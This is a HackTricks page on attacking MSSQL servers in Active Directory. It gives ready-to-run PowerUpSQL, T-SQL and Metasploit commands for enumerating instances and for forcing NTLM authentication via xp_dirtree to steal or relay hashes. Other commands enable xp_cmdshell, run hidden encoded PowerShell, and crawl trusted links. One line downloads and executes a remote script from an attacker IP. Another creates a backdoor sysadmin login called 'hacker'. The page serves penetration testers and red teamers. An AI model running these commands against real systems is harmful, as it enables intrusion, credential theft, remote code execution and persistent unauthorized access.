2022-08-15 13:00:19 +00:00

10 KiB

Raw Blame History

MSSQL AD Abuse

Support HackTricks and get benefits!

Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!

Discover The PEASS Family, our collection of exclusive NFTs

Get the official PEASS & HackTricks swag

Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.

Share your hacking tricks submitting PRs to the hacktricks github repo.

MSSQL Enumeration / Discovery

The powershell module PowerUpSQL is very useful in this case.

Import-Module .\PowerupSQL.psd1

Enumerating from the network without domain session

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#If you don't have a AD account, you can try to find MSSQL scanning via UDP
#First, you will need a list of hosts to scan
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10

#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test

Enumerating from inside the domain

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#Get info about valid MSQL instances running in domain
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose 

#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose

#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

# Get DBs, test connections and get info in oneliner
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo

MSSQL Basic Abuse

Access DB

#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"

#Dump an instance (a lotof CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"

MSSQL xp_dirtree abuse

Executing something such as EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1 will make the MSSQL server to login to the specified IP address.

Steal NetNTLM hash / Relay attack

Using xp_dirtree it's possible to force a NTLM authentication, therefore it's possible to steal the NetNTLM hash or even perform a relay attack.

Using tools such as responder or Inveigh it's possible to steal the NetNTLM hash.
You can see how to use these tools in:

{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {% endcontent-ref %}

MSSQL RCE

It might be also possible to execute commands inside the MSSQL host

Invoke-SQLOSCmd -Instance "srv-1.dev.cyberbotic.io,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary

If manually you could just use:

#To enumerate the current state of xp_cmdshell
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
# A value of 0 shows that xp_cmdshell is disabled. To enable it:
sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# Execute
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'powershell -w hidden -enc <blah>';

MSSQL Extra

{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server.md" %} pentesting-mssql-microsoft-sql-server.md {% endcontent-ref %}

MSSQL Trusted Links

If a MSSQL instance is trusted (database link) by a different MSSQL instance. If the user has privileges over the trusted database, he is going to be able to use the trust relationship to execute queries also in the other instance. This trusts can be chained and at some point the user might be able to find some misconfigured database where he can execute commands.

The links between databases work even across forest trusts.

Powershell Abuse

#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0

#Crawl trusted links, starting form the given one (the user being used by the MSSQL instance is also specified)
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose

#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'

#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"

#Obtain a shell
Get-SQLServerLinkCrawl -Instance dcorp-mssql  -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'

#Check for possible vulnerabilities on an instance where you have access
Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"

#Try to escalate privileges on an instance
Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"

Metasploit

You can easily check for trusted links using metasploit.

#Set username, password, windows auth (if using AD), IP...
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session

Notice that metasploit will try to abuse only the openquery() function in MSSQL (so, if you can't execute command with openquery() you will need to try the EXECUTE method manually to execute commands, see more below.)

Manual - Openquery()

From Linux you could obtain a MSSQL console shell with sqsh and mssqlclient.py.

From Windows you could also find the links and execute commands manually using a MSSQL client like HeidiSQL****

Login using Windows authentication:

Find Trustable Links

select * from master..sysservers

Execute queries in trustable link

Execute queries through the link (example: find more links in the new accessible instance):

select * from openquery("dcorp-sql1", 'select * from master..sysservers')

{% hint style="warning" %} Check where double and single quotes are used, it's important to use them that way. {% endhint %}

You can continue these trusted links chain forever manually.

# First level RCE
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')

# Second level RCE
SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')

If you cannot perform actions like exec xp_cmdshell from openquery() try with the EXECUTE method.

Manual - EXECUTE

You can also abuse trusted links using EXECUTE:

#Create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"

Local Privilege Escalation

The MSSQL local user usually has a special type of privilege called SeImpersonatePrivilege. This allows the account to "impersonate a client after authentication".

A strategy that many authors have come up with is to force a SYSTEM service to authenticate to a rogue or man-in-the-middle service that the attacker creates. This rogue service is then able to impersonate the SYSTEM service whilst it's trying to authenticate.

SweetPotato has a collection of these various techniques which can be executed via Beacon's execute-assembly command.